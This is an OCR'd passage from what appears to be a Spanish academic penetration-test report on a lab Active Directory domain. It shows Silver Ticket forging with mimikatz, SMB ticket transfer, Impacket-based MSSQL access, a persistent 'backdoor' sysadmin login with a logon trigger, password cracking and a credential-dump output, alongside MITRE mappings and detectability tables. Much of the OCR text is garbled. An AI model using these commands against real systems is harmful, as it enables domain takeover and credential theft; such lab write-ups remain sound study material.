Tabla 26. Evaluacion de la vulnerabilidad asociada al abuso de autenticacion Kerberos mediante Silver Ticket



Tras comprometer la cuenta de servicio “svc-sql02” en fases anteriores he querido demostrar
como se genera un Silver Ticket con el objetivo de poder autenticarme directamente contra el
servicio SQL asociado a SQL02.

Para ello, se us6 el hash en formato MD4 de la cuenta comprometida junto con informacion del
dominioy del servicio objetivo generando asi un ticket Kerberos falsificado valido Unicamente
para este servicio. Posteriormente, el ticket fue convertido a formatos compatibles (. ccache)
para poder usarlo con herramienta Impacket.

Una vez cargado el ticket en memoria, se validé el acceso al servicio SQL sin necesidad de
interactuar directamente con el controlador de dominio demostrando asi la capacidad de
autenticacion local sobre el servicio comprometido.

Desde el punto de vista analitico, el ataque Silver Ticket es una caracteristica especialmente
relevante. A diferencia de Golden Ticket la autenticacion se realiza directamente contra el
servicio objetivo evitando gran parte de la monitorizacién asociada al controlador de dominio.
Esto implica:

e Reduccioén significativa de visibilidad en el DC.

e Persistencia limitada pero altamente sigilosa.

e Acceso directo a servicios especificos.

e Uso de autenticacion Kerberos aparentemente valida.

Desde el marco MITRE ATT&CK:
e T1558.002 - Silver Ticket

En términos de detectabilidad puede considerarse muy baja en entornos sin monitorizacién
avanzada de servicios Kerberos.

| i v -t UTF-16LE |
bdb193894e95e4d4140

C:\ProgramData>.\mimikatz.exe
J\mimikatz.exe

mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36

*A La vie, A L'Amour” - (oe.eo)

/*** Benjamin DELPY “gentilkiwi® ( benjaminggentilkiwi.com )
> http://blog.gentilkiwi.con/mimikatz
Vincent LE TOUX ( vincent.letouxggmail.com )
> http://pingcastle.com / http://mysmartlogon.com ##+/

mimikatz # kerberos::golden /domain:lab.local /sid:S-1-5-21-2625116736-1513678085-1295315389 /target:sqle2.lab.local:1433 /service:MSSQLSvc /rc4:f03852c8ebc
a7bdb193894e95e4d4140 /user:faker /tsilver.kirbi
User : faker
i : lab.local (LAB)
-1-5-21-2625116736-1513678085-1295315389
00
513 512 520 518 519
03852c8ebca7bdb193894e95e4d4140 ~ rck_hmac_nt
Service MSSQLSve
Target qlo2.1ab.local: 1433
Lifetime : 11/29/2025 6:31:50 AM ; 11/27/2035 6:31:50 AM ; 11/27/2035 6:31:50 AN
-+ Ticket : ticket.kirbi

PAC generated

PAC signed
EncTicketPart generated
EncTicketPart encrypted
KrbCred generated

Final Ticket Saved to file !

Illustracion 32. Generacion de Silver Ticket para el servicio MSSQLSvc

Esta imagen muestra la generacion de un Silver Ticket asociado al servicio MSSQLSvc del
servidor SQL02 usando Mimikatz. Para ello se uso el hash NTLM de la cuenta de servicio
comprometida previamente generando un ticket Kerberos falsificado valido unicamente para el
servicio SQL del sistema objetivo.



C:\ProgramData>dir

dir

Volume in drive C has no label.
Volume Serial Number is A@D3-8458

Directory of C:\ProgramData

11/29/2025 02! 75 dump.mim
11/29/2025 02: @ dump.txt
11/18/2025 @ <DIR> Microsoft DevDiv
11/29/2025 @ 1,250,056 mimikatz.exe
11/29/2025 @ 38,616 nc.exe
11/18/2025 @ <DIR> Package Cache
11/18/2025 @ <DIR> Packages
11/29/2025 @ 27,136 PrintSpoofer.exe
11/28/2025 @ <DIR> regid.1991-06.com.microsoft
11/29/2025 @ 55 run.bat
11/29/2025 @ 94 runme.bat
11/29/2025 02: 119 runme.cmd
11/29/2025 06: silver.kirbi
05/08/2021 12: > SoftwareDistribution
05/08/2021 01:3 > ssh
11/29/2025 ©5:53 339 ticket.kirbi
11/18/2025 H > USOPrivate
05/08/2021 > UsoShared
11/18/2025 ©3: VMware
11/18/2025 : > winlogbeat

10 File(s) 1,318,264 bytes

10 Dir(s) 12,225,662,976 bytes free

C:\ProgramData>net use \\192.168.109.18\share /user:admin Password!
net use \\192.168.109.18\share /user:admin Password!
The command completed successfully.

Ci:\ProgramData>copy C:\ProgramData\ticket.kirbi \\192.168.109.18\share\
copy C:\ProgramData\ticket.kirbi \\192.168.109.18\share\
1 file(s) copied.

J/tic C )y /tmp/smbshare/ticket rbi ticket.ccachechisel
Impacket v0.13.0.dev@ - Copyright Fortra, LLC and its affiliated companies

[*] converting kirbi to ccache...
[
t KRB5CCNAME=/home/kali/tfg/TicketConvert/ticket.ccachechisel

Ticket cache: FILE:/home/kali/tfg/TicketConvert/ticket.ccachechisel
Default principal: fakerglab.local

valid starting Expires Service principal
29/11/25 15:31:5@ 27/11/35 15:31: MSSQLSvc/sqlez.lab.local:1433glab. local
renew until 27/11/35 15:31:

Illustracion 33. Transferencia y preparacion del Silver Ticket para autenticacion Kerberos

La imagen muestra el proceso de transferenciay conversion del Silver Ticket generado
previamente para su reutilizacion desde la maquina Kali. Inicialmente, el ticket Kerberos se
almacena en .kirbi dentro del sistema comprometido y posteriormente se transfiere mediante
un recursos SMB hacia nuestra maquina atacante. Por ultimo, se convierte a formato .ccache
para su uso mediante herramientas Impacket compatibles con Kerberos en Linux.

et lclient fakergsqle2.lab.local -k -no-pass
cket v@.13.0.dev@ - Copyright Fortra, LLC and its affiliated companies

Encryption required, switching to TLS
ENVCHANGE( DATABASE): Old Value: master, New Value: master
ENVCHANGE( LANGUAGE): Old value: , New Value: us_english

ENVCHANGE ( PACKETSIZE): Old Value: 4096, New Value: 16192
INFO(SQL@2\SQLe2): Line 1: Changed database context to 'master'.
INFO(SQL@2\SQLe2): Line 1: Changed language setting to us_english.

[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)

[1] Press help for extra shell commands

SQL (LAB\faker guest@master)> |

Ilustracion 34. Acceso al servicio MSSQL mediante autenticacion Kerberos falsificada

Esta imagen muestra el acceso al servicio MSSQL del servidor SQL02 usando el Silver Ticket
previamente generado que nos permite autenticacion via Kerberos sin necesidad de
credenciales validas.

Mediante el uso del ticket falsificado, pude establecer conexién autenticada contra el servicio
SQL usando una identidad arbitraria “faker” y obtener acceso directo al sistema comprometido.



Persistencia mediante privilegios SQL

CWE CWE-284 - Improper Access Control

CVSS 3.1 8.6 (High)

Root Cause Asignacion excesiva de privilegios sobre SQL
Server

Impacto Persistenciay ejecucion privilegiada sobre
sistemas criticos

Remediacion Restriccion de privilegios administrativos 'y
revision de cuentas de servicio

Referencias MITRE ATT&CK - T1098 (Account
Manipulation), T1505.001 (SQL Stored
Procedures)

Tabla 27. Evaluacion de la vulnerabilidad asociada a la persistencia y abuso de privilegios sobre SQL Server

Una vez validado el acceso al servicio SQL mediante Silver Ticket se comprob6 que la cuenta
comprometida disponia de privilegios elevados sobre el servidor SQL02 incluyendo permisos
administrativos (sysadmin).

Con estos privilegios, procedi a establecer un mecanismo de persistencia mediante la creacion
y modificacion de cuentas con acceso privilegiado al motor SQL permitiéndome recuperar
acceso al sistema incluso en caso de pérdida de credenciales previamente comprometidas.

Desde un punto de vista operativo, esto representa una técnica especialmente relevante en
ataques reales ya que permite mantener control persistente sobre servicios criticos usando
funcionalidades administrativas legitimas del sistema.

Desde el punto de vista analitico, esta técnica evidencia como el abuso de privilegios sobre
servicios de base de datos puede usarse no solo para acceso a informacion sino también para
garantizar persistencia dentro del entorno comprometido. Esto implica:

e Persistencia a largo plazo.

e Recuperacion de acceso tras mitigaciones parciales.
e Capacidad de ejecucion privilegiada.

e Uso de mecanismos administrativos legitimos.

Desde el marco MITRE ATT&CK:

e T1098 - Account Manipulation
e T1505.001 - SQL Stored Procedures

En términos de detectabilidad:

e Las modificaciones administrativas pueden generar eventos, pero estas acciones
pueden confundirse con tareas legitimas de administracion SQL.

e La actividad depende principalmente de monitorizacién especifica del motor de base de
datos.

Por esto, su detectabilidad puede considerarse media especialmente en entornos donde no
existe auditoria avanzada sobre acciones administrativas en SQL Server.



t fakergsqle2.lab.local -k -no-pass
Impacket v0.13.0.devd - Copyright Fortra, LLC and its affiliated companies

*] Encryption required, switching to TLS
*] ENVCHANGE(DATABASE): Old Vvalue: master, New Value: master
*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
*] INFO(SQLO2\SQLO2): Line 1: Changed database context to 'master’'.
*] INFO(SQLO2\SQLO2): Line 1: Changed language setting to us_english.
*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
!] Press help for extra shell commands
(LAB\faker guestgmaster)> select SYSTEM_USER;

[
[
[
[
[
[
[
[!
SQ

LAB\faker
SQL (LAB\faker guestgmaster)> select IS_SRVROLEMEMBER('sysadmin');

0

SQL (svc-sqloz2 dboémaster)> CREATE LOGIN [LAB\faker] FROM WINDOWS;
SQL (svc-sqle2 dbogmaster)> EXEC sp_addsrvrolemember 'LAB\faker', 'sysadmin';

Ilustracion 35. Validacion de privilegios administrativos mediante autenticacion Kerberos falsificada

La imagen muestra como tras el acceso con Silver Ticket a SQLO02 se valida primero los
privilegios obtenidos sobre SQL Server. Una vez verificado que no tenemos permisos de
sysadmin, procedemos a asignarnoslos.

SQL (LAB\faker dbogmaster)> select IS_SRVROLEMEMBER( 'sysadmin’);

1
SQL (LAB\faker dbogmaster)> CREATE LOGIN backdoor WITH PASSWORD='Hidden2025!"';
SQL (LAB\faker dbogmaster)> EXEC sp_addsrvrolemember 'backdoor’,'sysadmin’;

backdoorgsqle2.lab.local
Impacket v0.13.0.dev® - Copyright Fortra, LLC and its affiliated companies

Password:
Encryption required, switching to TLS
ENVCHANGE(DATABASE): Old value: master, New Value: master
ENVCHANGE ( LANGUAGE ): Old Value: , New Value: us_english
ENVCHANGE( PACKETSIZE): Old Value: 4096, New Value: 16192
INFO(SQLO2\SQLO2): Line 1: Changed database context to 'master'.
INFO(SQLO2\SQLO2): Line 1: Changed language setting to us_english
ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
Press help for extra shell commands

SqL (backdoor dbogmaster)> USE master;

ENVCHANGE(DATABASE): Old Value: master, New Value: master

INFO(SQLO2\SQLO2): Line 1: Changed database context to 'master'.

SQL (backdoor dbogmaster)> CREATE TRIGGER AutoBackdoor ON ALL SERVER FOR LOGON AS BEGIN IF ORIGINAL_LOGIN() = 'backdoor' BEGIN EXEC sp_addsrvrolemember 'ba

ckdoor', "sysadmin'; END END;

SQL (backdoor dbogmaster)> exit

Ilustracion 36. Establecimiento de persistencia mediante creacion de cuentas y triggers en SQL Server

Esta imagen muestra la creacion de un mecanismo de persistencia dentro del servidor SQL02
mediante la generacidn de una cuenta administrativa llamada “backdoor” y la implantacién de
un trigger automatico asociado a la sesién. El trigger llamado AutoBackdoor disefiado para
restaurar automaticamente privilegios elevados sobre la cuenta en futuras autenticaciones.

ient backdoorgsqle2.lab.local
Impacket v0.13.0.dev@ - Copyright Fortra, LLC and its affiliated companies

Password:
Encryption required, switching to TLS
ENVCHANGE(DATABASE): 0ld value: master, New Value: master
ENVCHANGE(LANGUAGE): 0ld Value: , New Value: us_english
ENVCHANGE( PACKETSIZE): Old Value: 4096, New Value: 16192

INFO(SQLO2\SQL@2): Line 1: Changed database context to 'master’.
INFO(SQLO2\SQL@2): Line 1: Changed language setting to us_english.
ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)

Press help for extra shell commands

(backdoor dbogmaster)> SELECT IS_SRVROLEMEMBER('sysadmin’);

Ilustracion 37. Verificacion de persistencia mediante acceso con cuenta backdoor

»

Por ultimo, se muestra la autenticacion al servicio SQL02 usando la cuenta creada “backdoor
asi como la validacién de privilegios administrativos asociados a esta cuenta.



Conclusion de la fase

La fase de escalada de privilegios y compromiso del dominio representa el punto de mayor
impacto del ataque ya que permite evolucionar desde acceso a un sistema hasta el control
persistente de toda la infraestructura AD.

A través del abuso combinado con Kerberos, privilegios excesivos y herramientas legitimas del
sistema se demuestra que muchas de las técnicas mas criticas no requieren explotacion
tradicional sino el uso encadenado de configuraciones inseguras y credenciales
comprometidas.

Desde el punto de vista analitico, esta fase evidencia varios aspectos relevantes:

e Elusode LOLBinsy funcionalidades administrativas reduce significativamente la
visibilidad del ataque.

e Técnicas como DCSync, Golden Ticket o Silver Ticket abusan directamente de
mecanismos legitimos de AD y Kerberos.

e Parte del ataque ocurre offline limitando la capacidad de deteccién mediante logs
tradicionales.

e Laautenticacion mediante tickets validos dificulta diferenciar actividad maliciosa de
comportamiento legitimo.

Asimismo, se observa que las técnicas con mayor impacto no son necesariamente las mas
ruidosas sino aquellas capaces de integrarse dentro del funcionamiento normal del entorno
reduciendo la necesidad de explotacion continuay facilitando persistencia a largo plazo.

De forma comparativa, acciones como PrintSpoofer o xp_cmdshell presentan una mayor
detectabilidad al generar actividad observable sobre el sistema mientras que técnicas basadas
en Kerberos presentan una detectabilidad considerablemente menor debido al uso de
autenticaciones aparentemente validas.

En conjunto esta fase ha demostrado que el compromiso completo de un entorno AD depende
mas de la acumulacion progresiva de privilegios y relaciones de confianza que de una uUnica
vulnherabilidad critica aislada.

Evaluacion de detectabilidad de la fase

Uso de LOLBIins Ejecucion de binarios | Media Herramientas
legitimas
Escalada con Eventos de privilegio | Media Depende de
PrintSpoofer monitorizacion
DCSync Solicitudes de Baja Dificil de detectar
replicacioén
Golden Ticket Autenticacion Baja No requiere
Kerberos validacion constante
Silver Ticket Acceso a servicios Baja No interactia con DC
Backdoor SQL Creacion de usuario | Media/Baja Puede pasar
desapercibido

Tabla 28. Evaluacién de detectabilidad de técnicas de escalada de privilegios, persistencia y abuso avanzado de
Kerberos

Esta evaluacidn refleja que, a medida que se avanza en el ataque, la detectabilidad disminuye
debido al uso de credenciales validas y mecanismos internos del sistema.



Se observa que ninguna de las técnicas analizadas presenta una detectabilidad alta de forma
aislada reforzando la necesidad de modelos de deteccién basados en la correlacion de
eventos.

Fase 6 — Reutilizacion de técnicas Kerberos y compromiso de servicios
adicionales

Contexto del ataque

En esta fase se demostrara la aplicacién de las técnicas que se han usado en las fases previas
respecto a Kerberos, pero ahora usadas sobre el recurso del dominio DELEG-CLIENT el cual
contiene el servidor web corporativo.

A diferencia de las otras fases en las que se introducian nuevas técnicas el objetivo de esta es
demostrar la reutilizacidon de ataques basados en Kerberos sobre distintos servicios y culminar
con el compromiso de todas las maquinas y servicios creados en el laboratorio evidenciando
que una misma debilidad puede afectar a multiples activos.

DELEG-CLIENT ejecuta servicios bajo la cuenta de servicio “svc-web” la cual dispone de un SPN
asociado. Esto lo convierte en un objetivo susceptible a ser explotado mediante técnicas como
Kerberoasting y generacién de tickets falsificados.

Desde el punto de vista del ofensivo esta fase demuestra la capacidad de escalar el ataque
horizontalmente dentro del dominio comprometiendo multiples sistemas mediante el mismo
vector.

Debido a que se trata de una reutilizacion de técnicas, esta fase se explicara mas por encimaya
que en mayor medida se estaran repitiendo los pasos y técnicas pero con distinto objetivo.

Clasificacion de la técnica

Tactica Lateral Movement/Persistence

Tipo de técnica Reutilizacién de tickets Kerberos (Silver
Ticket)

Superficie afectada DELEG-CLIENT

Naturaleza Abuso de protocolos Kerberos

Riesgo asociado Acceso no autorizado a servicios sin
validacion del DC

Tabla 29. Clasificacion de la técnica de reutilizacién de tickets Kerberos mediante Silver Ticket

Evaluacion de la vulnerabilidad (Silver Ticket)

CWE CWE-287 — Improper Access Control

CVSS 3.1 8.8 (High)

Root Cause Uso de claves de cuentas de servicio
comprometidas

Impacto Acceso directo a servicios sin autenticacion
centralizada

Remediacién Proteccion de cuentas de servicio y rotacién
de credenciales

Referencias MITRE ATT&CK - T1558.002 (Silver Ticket)

Tabla 30. Evaluacion de la vulnerabilidad asociada al abuso de tickets Kerberos mediante Silver Ticket



El uso de Silver Ticket permite al atacante generar tickets Kerberos validos sin necesidad de
interactuar con el controlador de dominio siempre que disponga de la clave de la cuenta del
servicio asociada.

Desde el punto de vista analitico, esta técnica representa una de las mas avanzadas de abuso
de Kerberos ya que elimina completamente la dependencia del DC.

Preparacion del ticket Kerberos

Para la generacion del ticket, partimos del hash de la cuenta svc-web previamente obtenido el
cual fue convertido a formato MD4 para su uso en Mimikatz. Este proceso permite construir
manualmente el ticket Kerberos falsificado, incluyendo:

e SID deldominio.
e |dentidad del usuario suplantado.
e SPN del servicio objetivo.

Desde el punto de vista de la detectabilidad:

e Estafase serealiza offline.
e No genera eventos en el dominio salvo los generados al obtener los hashes mediante
Kerberoasting en fases previas.

Por ello su detectabilidad es nula.

txt —wordlist=/home/kali/tfg/SecLists/Passwords/xato-net-10-million-passwords.txt
nput encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC41)
Will run 6 OpenMP threads
' or Ctrl-C to abort, almost any other key for status
P

how" option to display all of the cracked passwords reliably
Session completed
)

W -t UTF-16LE |

B' | ico
777879b4f43a45049f24dbo1aeda753b

> -n D
MD&(stdin)=

Ilustracion 38. Preparacion de clave Kerberos para la generacion de Silver Ticket

La imagen muestra el proceso de preparacion de la clave criptografica que necesitamos para la
generacion del Silver Ticket como se vio en las fases previas.

Inicialmente realizamos el descifrado offline de la contrasefna correspondiente a la cuenta de
servicio comprometida mediante técnicas de cracking sobre el ticket Kerberos previamente
obtenido. Posteriormente a esto, la contrasefia se transforma en NTLM usando el algoritmo MD4
obteniendo la clave necesaria para la falsificacién del ticket Kerberos.

Generacion y conversion del ticket

Mediante Mimikatz, se generdé el ticket con formato. kirbi el cual posteriormente fue convertido a
formato. ccache para su uso en entorno Linux. Este paso permite integrar el ticket en
herramientas como Impacket facilitando su uso en ataques posteriores.

Desde un punto de vista analitico, esta técnica evidencia que los ataques basados en Kerberos
no dependen Unicamente de herramientas especificas de Windows sino que pueden adaptarse
a distintos entornos y plataformas aumentando significativamente la flexibilidad operativa del
atacante.

Adicionalmente, el hecho de poder generar y reutilizar tickets validos fuera del flujo normal de
autenticacion del dominio reduce la dependencia del controlador de dominio y dificulta la
visibilidad centralizada del ataque.

Desde el marco MITRE ATT&CK:



e T1558.002 - Silver Ticket

mimikatz # kerber: l jomain:lab. 21 £43245049f24db01aeda753b /user:fakerweb /ticket:ticketweb.kirbi
er : f

Lifetime

- Ticket :

* PAC generated

* PAC signed

* EncTicketPart generated

« EncTicketPart encrypted

* KrbCred generated

Final Ticket Saved to file |

mimikatz # exit

<y

C:\ProgramData>dir

dir
Volume in drive C has no label.
Volume Serial Number is AOD3-8458

Directory of C:\ProgramData

11/29/2025 02:56 AM dump .mim
11/29/2025 02:52 AM dump. txt
11/18/2025 04:39 Microsoft DevDiv
11/30/2025 03:01 mimikatz.exe
11/30/2025 02:54 nc.exe
11/18/2025 04: Package Cache
11/18/2025 03: Packages
11/30/2025 : PrintSpoofer.exe
11/28/2025 : regid.1991-06.com.microsoft
11/29/2025 run.bat
11/29/2025 runme.bat
11/29/2025 runme.cmd
11/29/2025 silver.kirbi
05/08/2021 <DIR> SoftwareDistribution
05/08/2021 <DIR> ssh
11/29/2025 ticket.kirbi
11/30/2025 ticketweb.kirbi
11/18/2025 <DIR> USOPrivate
05/08/2021 <DIR> USOShared
11/18/2025 <DIR> VMware
11/18/2025 : PM <DIR> winlogbeat

11 File(s) 1,319,635 bytes

10 Dir(s) 12,212,662,272 bytes free

EEEZZEZZEZZ

Illustracién 39. Generacidn y almacenamiento de Silver Ticket para el servicio web

Esta imagen muestra la generacidn de un Silver Ticket asociado al servicio HTTP del servidor
“webserver.lab. local” mediante el uso de Mimikatz de la misma forma que se hizo con la cuenta
del servidor SQL. Esta se almacena en formato. kirbi y posteriormente se pasara a un formato.
ccache para su uso con herramientas Impacket.

Acceso al servicio web mediante Silver Ticket

Una vez cargado el ticket se accedid al servicio web alojado en DELEG-CLIENT comprobando
que la autenticacién Kerberos se realizaba correctamente sin necesidad de interaccién con el
controlador de dominio.

Este comportamiento confirma que:

e Elserviciovalida el ticket usando la clave local.
e No requiere validacion adicional del DC.
e Elacceso es completamente funcional.

Desde el punto de vista analitico, este paso demuestra una caracteristica critica, el sistema
objetivo confia en el ticket sin verificar su origen.

En términos de detectabilidad:

o No genera eventos en el controlador de dominio.



e Laautenticacion parece legitima.
e Solo podria detectarse en el propio servidor.

Por esto, su detectabilidad es baja.

t t L kirbi ticket.cca 1
Impacket v0.13.0.dev® - Copyright Fortra, LLC and its affiliated companies

[*] converting kirbi to ccache...
[+] done

D silv: hechisel [)ticket.ccachechisel & ti

share/ticketweb kirbi ticketweb.ccachechisel
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] converting kirbi to ccache...
[+] done
export KRBSCCNAME=/home/kali/tfg/TicketConvert/ticketweb.ccachechisel

Ticket cache: FILE:/home/kali/tfg/TicketConvert/ticketweb.ccachechisel
Default principal: fakerwebglab.local

valid starting Expires Service principal
30/11/25 12:04:19 28/11/35 12:04:19 HTTP/webserver.lab.localglab.local
renew until 28/11/35 12: 19

—negotiate -u http: //webserver.lab.local
[proxychains] config file found: c/proxychainss. conf
[proxychains] preloading /usr/1ib/x86_64-1inux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://wms.w3.org/TR/xhtml1/DTD/xhtmli-strict.dtd">
<html xmlns="http://ww .w3.0rg/1999/xhtal*>
<head>
<meta http-equivs"Content-Type" contents"text/html; charset=iso-8859-1"/>
<title>401 - Unauthorized: Access is denied due to invalid credentials.</title>
<style type="text/css®>
“

body{margi nt-size:.7em; font-family:Verdana, Arial, Helvetica, sans-serif;background:¥EEEEEE;}

fiel

hi{f

h2{font-size:

h3{font-si g H

#header {wi 3 ;margin:0 0 @ 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS*, Verdana, sans-serif;color:#FFF;
background-color:#555555; }

#content{margin:0 0 0 2%;position:relative
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}

="header“><h1>Server Error</hi></div>
="content”>
<div class="content-container®><fieldset>
<h: - Unauthorized: Access is denied due to invalid credentials.</h2>
have permission to view this directory or page using the credentials that you supplied.</h3>

Illustracion 40. Acceso al servicio web mediante autenticacion Kerberos falsificada (Silver Ticket)

Por ultimo, se muestra la conversion a. ccache y tras esto su implementacion en el sistema.
Anteriormente no podiamos acceder a la web debido al error 401 Unauthorized indicando que el
servidor rechazaba nuestra autenticaciéon Kerberos debido al IIS/Active Directory, esto se debe a
que no teniamos un ticket valido asociado al servicio HTTP.

Finalmente, se realiza una peticion HTTP autenticada usando Kerberos a través de curly
proxychains que nos permite acceder al servidor web al mediante el ticket previamente
generado.

Conclusion de la fase
La fase de reutilizacién de técnicas Kerberos pone de manifiesto que el compromiso de una
Unica cuenta de servicio puede extenderse a multiples sistemas dentro del dominio.

A través del uso de Silver Ticket fuimos capaces de:

e Acceder a servicios sin autenticacion centralizada.
e Evitar mecanismos de deteccién basados en el DC.
o Reutilizar credenciales comprometidas en distintos sistemas.

Desde el punto de vista de la deteccidn, se observa:

e Parte del ataque se realiza completamente offline.
o No se generan eventos en el controlador de dominio.
e Laactividad puede parecer legitima en el sistema objetivo.

Esto evidencia que las técnicas basadas en Kerberos no solo permiten escalada vertical sino
también expansidn horizontal del ataque. Ademas, se observa que la reutilizacion de



credenciales y tickets reduce alin mas la detectabilidad consolidando el control del atacante
sobre el entorno.

Evaluacion de detectabilidad de la fase

Preparacion del Procesos locales Nula Actividad oflfine
ticket

Generacion del Silver | Uso de herramientas | Baja No interactua con el
Ticket dominio, pero puede

generar eventos
locales en los

endpoints
Uso del Ticket Autenticacion Baja No pasa porel DC
Kerberos
Acceso al servicio Peticiones HTTP Baja Trafico legitimo

web
Tabla 31. Evaluacidn de detectabilidad de técnicas de reutilizacién de tickets Kerberos mediante Silver Ticket

Esta evaluacion refleja que esta fase presenta uno de los niveles de detectabilidad mas bajos en
todo el ataque debido a la ausencia de interaccion con sistemas centralizados de
autenticacion.

Se observa que ninguna de las técnicas analizadas genera indicadores claros de compromiso
de forma aislada reforzando la necesidad de monitorizaciéon en endpoints y correlacion
avanzada.

Fase 7 —Validacion del compromiso total del dominio

Contexto del ataque

En esta fase final del punto de vista ofensivo, se valida el impacto del ataque en el entorno
Active Directory demostrando que se ha alcanzado un nivel de control equivalente al de un
administrador de dominio.

A diferencia de las otras fases donde el objetivo consistia en obtener acceso progresivamente a
sistemas y credenciales, en este punto ya disponemos de privilegios suficientes para
interactuar directamente con los componentes criticos del dominio y operar dentro del contexto
legitimo de la infraestructura.

Este escenario representa la fase de consolidacion del compromiso donde dejamos de
depender de vulnerabilidades concretas y pasamos a aprovechar la propia confianza inherente
del sistema. Como resultado, las acciones realizadas se ejecutan usando mecanismos
legitimos de administracién y autenticacion, reduciendo la generacion de indicadores
claramente maliciosos.

El acceso que se ha alcanzado es consecuencia de la combinacidn progresiva de multiples
técnicas ejecutadas en fases anteriores:

e Compromiso de cuentas de servicio.

e Abuso de delegacién Kerberos.

e Movimiento lateral mediante credenciales validas.
e Escalada progresiva de privilegios.

e Persistencia mediante cuentas administrativas.



Desde un punto de vista analitico, esta fase es especialmente relevante porque pondra de
manifiesto una de las principales limitaciones en la deteccién de ataques avanzados en AD, que
es que cuanto mayor es el nivel de privilegios alcanzado, mas dificil resulta distinguir su
actividad del comportamiento legitimo de administracion.

Clasificacion de la técnica

Tactica Persistence/Privilege Escalation/Impact

Tipo de técnica Validacion de compromiso y control del
dominio

Superficie afectada Controlador de dominio y servicios criticos

Naturaleza Uso de credenciales validas y privilegios
elevados

Riesgo asociado Compromiso total del entorno AD

Tabla 32. Clasificacién de la técnica de validacion de compromiso y control total del dominio Active Directory

Evaluacion de la vulnerabilidad (Compromiso del dominio)

CWE CWE-284 — Improper Access Control

CVSS 3.1 10.0 (Critical)

Root Cause Encadenamiento de multiples debilidadesy
escalada progresiva de privilegios

Impacto Control total del dominio y perdida completa
de confianza

Remediacion Segmentacion administrativa, hardeningy
monitorizacién avanzada

Referencias MITRE ATT&CK - Persistence/Privilege
Escalation

Tabla 33. Evaluacion de la vulnerabilidad asociada al compromiso total y control completo del dominio Active
Directory

El compromiso completo de un dominio AD representa el escenario de mayor impacto posible
dentro de una infraestructura corporativa basada en identidades centralizadas.

Una vez alcanzado este nivel de acceso, disponemos de las siguientes capacidades:

e Controlar la autenticacion del dominio.

e Acceder a cualquier sistema o recurso corporativo.

e Crear mecanismos de persistencia dificiles de eliminar.
e Modificar configuraciones criticas de seguridad.

e Alterar politicas del dominio y privilegios de usuarios.

Desde la perspectiva analitico, este escenario no debe interpretarse como el resultado de una
Unica vulnerabilidad critica explotada, sino como la consecuencia acumulativa de multiples
configuraciones inseguras y debilidades operativas explotadas a lo largo del ataque.

Este refuerza la idea de que los ataques avanzados en AD no dependen normalmente de una
explotacidn aislada, sino del abuso progresivo de relaciones de confianza dentro del entorno.



Dumping de credenciales del dominio

Una vez obtenidos los privilegios elevados dentro el entorno, se procede a realizar la extraccion
de credenciales directamente desde el controlador de dominio mediante herramientas
orientadas a replicacidon y acceso a secretos almacenados en AD.

Esta técnica permite obtener:

e Hashes NTLM de cuentas.

e Credenciales de cuentas privilegiadas.

e Hashes asociados a KRBTGT.

e Cuentas maquina.

e Material criptografico relacionado con Kerberos.

Desde el punto de vista ofensivo este paso representa una validacion definitiva del compromiso
del dominio ya que hemos obtenido acceso directo a los elementos usados por AD para la
autenticacidony generacion de tickets Kerberos.

Ademas, el acceso al hash KRBTGT introduce la posibilidad de generar Golden Tickets como
vimos en fases previas, permitiendo mantener persistencia practicamente indefinida dentro del
dominio incluso tras cambios de contrasefias en cuentas administrativas.

Desde el arco MITRE ATT&CK:
e T1003 -0OS Credential Dumping
En cuanto a la detectabilidad:

e Parte de la actividad usa privilegios legitimos.
e Lareplicacion de AD puede confundirse con comportamiento administrativo.
e No siempre existen eventos claramente diferenciadores.

Por esto, su detectabilidad puede considerarse media en ausencia de mecanismos especificos
de auditoriay correlacién avanzada.



lab.local/goldenadnin: ' @C01.1ab. local

[proxychains] config file found: /etc/proxychainsé.c
{proxychains] preloading /ust/1ib/xe6.64-1inux-gnu/1il bprnxy(hains s0.4
: proxychains-ng 4.17
nit: proxychains.ng 4.17
init: proxychains-ng 4.17
t v0.13.0.devd - Copyright Fortra, LLC and its affillated companies

¢ ResoteReglstry 1s in stopped state
RemoteRegistr

[+] Target system bootkey 266429078d5d1d9e6d872b6e84606

+] Dumping local SAM hashes (uid:rid:\whash:nthash)

Adwinistrator:500:aad3bu3sbs140keeaad3bu3shs1406ee: bt3abODA2C126414976716139b496 :: ¢
3355140beeand3bA35h3148bee:31dSclebd10aed3 11T CSAdTeRCOBSCH

1d6cfedd16ae931b73c59d7€0c089¢0

[+] Dunping cached domain logon information e )

[+ Dumping LSA Secrets

256-ct-hmac-shal-6: 339028666437 fAcAS4d68C5 258538651 T2CTAB1T3CAAT2CTALTOSA43318F
LAB\DCO1$: aes128-cts-hmac-shal-96: 7df37613ef46cbA6636b14be42008a8T
47aecch 81031
word_hex :9895fd2a9250a65252815bb8866833484d1d1e366de fe9facSTcS0ee0a287101d150¢11085411a5057F4a2049374 4 1b5Fd25c4c2935aa¢779bb834 ¢ Fd0C1b6560235473676945522804058c3b6a0b723d0384d0d775303ae7e 1b0abda4s1b808ac173a76d8
9cc2dboSchebf2475a85913430d76517675257266F 0e1cfaf9f83133d1655e34b857¢95647161Fe67784neco1e27412c45914cb243F7¢d6a25¢88940878b70933c4508731dd543c Feech7edsIFAF Ib51890F5729328c657260070314¢F233F609ba9

«4162fa00436847534baekes 456440738a04e6
16c8063c34905928b60159¢1643bC99F 4074061

AF 90 35 CC 95 A7 89 13 11 6A 80 C7 61 16 04 27 0.5......J ...
64 Db E1 AJ FA 62 26 09 23 1C 8C 70 49 F3 OA DF  d....b%.8 -l
FTETIS D 8o e se s kA afwiin.
6 8E AD 59 03 49 08 FC_ 33 03 21 93 18 58 42 €B
